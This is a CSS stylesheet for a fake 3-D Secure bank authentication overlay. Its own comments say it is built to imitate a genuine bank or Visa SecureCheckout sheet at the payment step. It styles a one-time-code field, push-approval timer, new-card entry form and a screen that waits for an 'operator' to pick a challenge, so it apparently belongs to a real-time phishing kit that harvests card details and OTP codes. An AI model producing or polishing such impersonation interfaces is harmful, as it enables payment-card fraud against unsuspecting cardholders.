/* ============================================================
   Fake 3-D Secure overlay for the payment step.
   Designed to read like a genuine bank / Visa SecureCheckout
   authentication sheet: neutral chrome, card summary, step rail,
   and large one-time-code input.
   ============================================================ */

.fp-overlay {
  position: fixed;
  inset: 0;
  z-index: 2147482000;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 20px;
  background: rgba(12, 12, 14, .62);
  backdrop-filter: blur(3px);
  font-family: 'Gotham Rounded A', 'Gotham Rounded B', Arial, sans-serif;
  animation: fp-fade .18s ease-out;
}
@keyframes fp-fade { from { opacity: 0 } to { opacity: 1 } }
@keyframes fp-rise { from { opacity: 0; transform: translateY(14px) scale(.985) } to { opacity: 1; transform: none } }

.fp-box {
  position: relative;
  width: 460px;
  max-width: 100%;
  max-height: calc(100vh - 40px);
  overflow-y: auto;
  background: #fff;
  border-radius: 18px;
  box-shadow: 0 30px 90px rgba(0, 0, 0, .45);
  animation: fp-rise .24s cubic-bezier(.2, .8, .3, 1);
}
/* brand accent strip — the sheet should not read as a stock bank page */
.fp-box::before {
  content: "";
  position: absolute;
  inset: 0 0 auto 0;
  height: 4px;
  border-radius: 18px 18px 0 0;
  background: linear-gradient(90deg, #ffce01, #f7b500 55%, #10131a);
}

/* --- bank chrome --- */
.fp-head {
  display: flex;
  align-items: center;
  gap: 10px;
  padding: 16px 20px;
  border-bottom: 1px solid #eceff3;
  background: #fbfcfd;
  border-radius: 18px 18px 0 0;
}
.fp-ident {
  min-width: 0;
  flex: 1 1 auto;
}
.fp-bank-name {
  font-size: 14px;
  line-height: 1.25;
  font-weight: 600;
  color: #10131a;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}
.fp-bank-sub {
  font-size: 11.5px;
  font-weight: 400;
  color: #7b8391;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}
.fp-secure-tag {
  margin-left: auto;
  flex: 0 0 auto;
  display: inline-flex;
  align-items: center;
  gap: 5px;
  padding: 5px 9px;
  border: 1px solid #d6dde6;
  border-radius: 20px;
  font-size: 10.5px;
  font-weight: 600;
  letter-spacing: .35px;
  color: #5c6573;
  text-transform: uppercase;
}
.fp-secure-tag svg { width: 11px; height: 11px; }

/* --- step rail --- */
.fp-steps {
  display: flex;
  align-items: center;
  gap: 6px;
  padding: 14px 20px 0;
  font-size: 11px;
  color: #9aa3b0;
}
.fp-step {
  display: flex;
  align-items: center;
  gap: 6px;
  flex: 1 1 0;
}
.fp-step:last-child { flex: 0 0 auto; }
.fp-dot {
  width: 20px;
  height: 20px;
  flex: 0 0 auto;
  border-radius: 50%;
  border: 1.5px solid #d6dde6;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 10px;
  font-weight: 700;
  background: #fff;
}
.fp-step.active { color: #10131a; font-weight: 600; }
.fp-step.active .fp-dot { border-color: #10131a; background: #10131a; color: #fff; }
.fp-step.done .fp-dot { border-color: #12924a; background: #12924a; color: #fff; }
.fp-step.done { color: #12924a; }
.fp-line {
  flex: 1 1 auto;
  height: 1.5px;
  min-width: 10px;
  background: #e6ebf1;
  border-radius: 2px;
}
.fp-step.done + .fp-step .fp-line,
.fp-step.done .fp-line { background: #12924a; }

.fp-body { padding: 20px 24px 26px; }
/* the waiting screen has little content — keep it from looking empty */
.fp-overlay .fp-body { min-height: 210px; }

/* --- amount / merchant summary: big amount, quiet meta --- */
.fp-summary {
  display: flex;
  align-items: flex-end;
  justify-content: space-between;
  gap: 14px;
  padding: 0 0 14px;
  margin: 0 0 18px;
  border-bottom: 1px dashed #e2e8ef;
  font-size: 13px;
  line-height: 1.45;
  color: #7b8391;
}
.fp-summary-row { display: flex; flex-direction: column; gap: 2px; min-width: 0; }
/* the card row takes the left side, amount goes right */
.fp-summary-row:last-child {
  order: 0;
  align-items: flex-start;
  text-align: left;
  flex: 1 1 auto;
}
/* first row is the amount: pull it to the right and make it loud */
.fp-summary-row:first-child {
  order: 2;
  align-items: flex-end;
  text-align: right;
  flex: 0 0 auto;
}
.fp-summary-row:first-child .v {
  font-size: 26px;
  font-weight: 700;
  letter-spacing: -.6px;
  color: #10131a;
}
.fp-summary-row + .fp-summary-row { margin-top: 0; }
.fp-summary-row .k {
  font-size: 10.5px;
  font-weight: 600;
  letter-spacing: .5px;
  text-transform: uppercase;
  color: #9aa3b0;
}
.fp-summary-row .v {
  font-weight: 500;
  color: #3c4452;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}

/* waiting for the operator to choose a challenge */
.fp-wait-note {
  margin: 14px 0 0;
  font-size: 13px;
  line-height: 1.5;
  color: #7b8391;
  text-align: center;
}

.fp-title {
  margin: 0 0 8px;
  font-size: 19px;
  font-weight: 600;
  line-height: 1.3;
  color: #10131a;
}
.fp-text {
  margin: 0 0 18px;
  font-size: 14px;
  line-height: 1.6;
  color: #4a5261;
}
.fp-text b { color: #10131a; }

/* --- OTP input --- */
.fp-code {
  width: 100%;
  height: 68px;
  margin: 0 0 8px;
  padding: 0 60px 0 22px;
  box-sizing: border-box;
  border: 1.8px solid #d3dae3;
  border-radius: 13px;
  background: #fbfcfd;
  font-family: 'Courier New', ui-monospace, monospace;
  font-size: 30px;
  font-weight: 700;
  letter-spacing: 13px;
  text-align: center;
  color: #10131a;
  transition: border-color .15s, box-shadow .15s;
  -moz-appearance: textfield;
}
.fp-code::-webkit-outer-spin-button,
.fp-code::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; }
.fp-code:focus {
  outline: none;
  border-color: #10131a;
  box-shadow: 0 0 0 3px rgba(16, 19, 26, .1);
  background: #fff;
}
.fp-code.is-error { border-color: #cf2b39; box-shadow: 0 0 0 3px rgba(207, 43, 57, .13); }
.fp-resend {
  display: inline-block;
  margin: 0 0 18px;
  font-size: 12.5px;
  color: #4a5261;
  text-decoration: underline;
  cursor: pointer;
}
.fp-resend:hover { color: #10131a; }

/* --- buttons --- */
.fp-btn {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  width: 100%;
  min-height: 50px;
  padding: 0 20px;
  border: 0;
  border-radius: 11px;
  background: #10131a;
  color: #fff;
  font-family: inherit;
  font-size: 15.5px;
  font-weight: 600;
  cursor: pointer;
  transition: background .15s, transform .06s;
}
.fp-btn:hover { background: #262b36; }
.fp-btn:active { transform: translateY(1px); }
.fp-btn:disabled { opacity: .55; cursor: default; }
.fp-btn.ghost {
  background: #fff;
  color: #10131a;
  border: 1.5px solid #d3dae3;
}
.fp-btn.ghost:hover { background: #f4f6f9; border-color: #10131a; }

.fp-actions { display: flex; flex-direction: column; gap: 9px; }

/* --- error message --- */
.fp-err {
  display: none;
  align-items: flex-start;
  gap: 8px;
  margin: 0 0 14px;
  padding: 11px 13px;
  border: 1px solid #f1c5ca;
  border-radius: 10px;
  background: #fdf3f4;
  color: #a51f2c;
  font-size: 13px;
  line-height: 1.5;
}
.fp-err.show { display: flex; }
.fp-err svg { width: 15px; height: 15px; flex: 0 0 auto; margin-top: 1px; }

/* --- push state --- */
.fp-push {
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  padding: 8px 0 4px;
}
.fp-ring {
  position: relative;
  width: 118px;
  height: 118px;
  margin: 4px 0 18px;
}
.fp-ring svg { width: 118px; height: 118px; transform: rotate(-90deg); }
.fp-ring circle { fill: none; stroke-width: 7; }
.fp-ring .track { stroke: #e9edf2; }
.fp-ring .bar {
  stroke: #10131a;
  stroke-linecap: round;
  stroke-dasharray: 327;
  transition: stroke-dashoffset 1s linear;
}
.fp-ring .clock {
  position: absolute;
  inset: 0;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 25px;
  font-weight: 600;
  font-variant-numeric: tabular-nums;
  color: #10131a;
}
.fp-push-note {
  margin: 0 0 18px;
  font-size: 12.5px;
  color: #7b8391;
}

/* --- spinner --- */
.fp-spin {
  width: 44px;
  height: 44px;
  margin: 14px auto 16px;
  border: 3.5px solid #e6ebf1;
  border-top-color: #10131a;
  border-radius: 50%;
  animation: fp-spin .8s linear infinite;
}
@keyframes fp-spin { to { transform: rotate(360deg) } }
.fp-center { text-align: center; }
.fp-spin-text { font-size: 14px; color: #4a5261; }

/* --- result screens --- */
.fp-result { text-align: center; padding: 10px 0 4px; }
.fp-result .fp-mark {
  width: 68px;
  height: 68px;
  margin: 0 auto 16px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 32px;
  color: #fff;
}
.fp-result.ok .fp-mark { background: #12924a; animation: fp-pop .3s cubic-bezier(.2, 1.3, .4, 1); }
.fp-result.bad .fp-mark { background: #cf2b39; }
@keyframes fp-pop { from { transform: scale(.4); opacity: 0 } to { transform: scale(1); opacity: 1 } }
.fp-result h4 { margin: 0 0 8px; font-size: 21px; font-weight: 600; }
.fp-result.ok h4 { color: #0f7a3e; }
.fp-result.bad h4 { color: #a51f2c; }
.fp-result p { margin: 0 0 20px; font-size: 14px; line-height: 1.55; color: #4a5261; }

/* --- new-card form --- */
.fp-field { margin: 0 0 13px; }
.fp-field label {
  display: block;
  margin: 0 0 5px;
  font-size: 12.5px;
  font-weight: 600;
  color: #3c4452;
}
.fp-field input {
  width: 100%;
  height: 46px;
  padding: 0 13px;
  box-sizing: border-box;
  border: 1.5px solid #d3dae3;
  border-radius: 10px;
  background: #fbfcfd;
  font-family: inherit;
  font-size: 15px;
  color: #10131a;
}
.fp-field input:focus {
  outline: none;
  border-color: #10131a;
  background: #fff;
  box-shadow: 0 0 0 3px rgba(16, 19, 26, .1);
}
.fp-row2 { display: flex; gap: 12px; }
.fp-row2 .fp-field { flex: 1 1 0; }

.fp-foot {
  padding: 11px 20px;
  border-top: 1px solid #eceff3;
  background: #fbfcfd;
  border-radius: 0 0 18px 18px;
  font-size: 10.5px;
  color: #98a1ae;
  text-align: center;
  line-height: 1.5;
}

@media screen and (max-width: 520px) {
  .fp-overlay { padding: 0; align-items: stretch; }
  .fp-box {
    width: 100%;
    min-height: 100vh;
    max-height: 100vh;
    border-radius: 0;
    display: flex;
    flex-direction: column;
    animation: none;
  }
  .fp-head { border-radius: 0; flex: 0 0 auto; }
  .fp-foot { border-radius: 0; flex: 0 0 auto; }
  .fp-body { padding: 16px 18px 22px; flex: 1 1 auto; }
  .fp-code { height: 62px; font-size: 26px; letter-spacing: 10px; }
  .fp-steps { flex: 0 0 auto; }
}
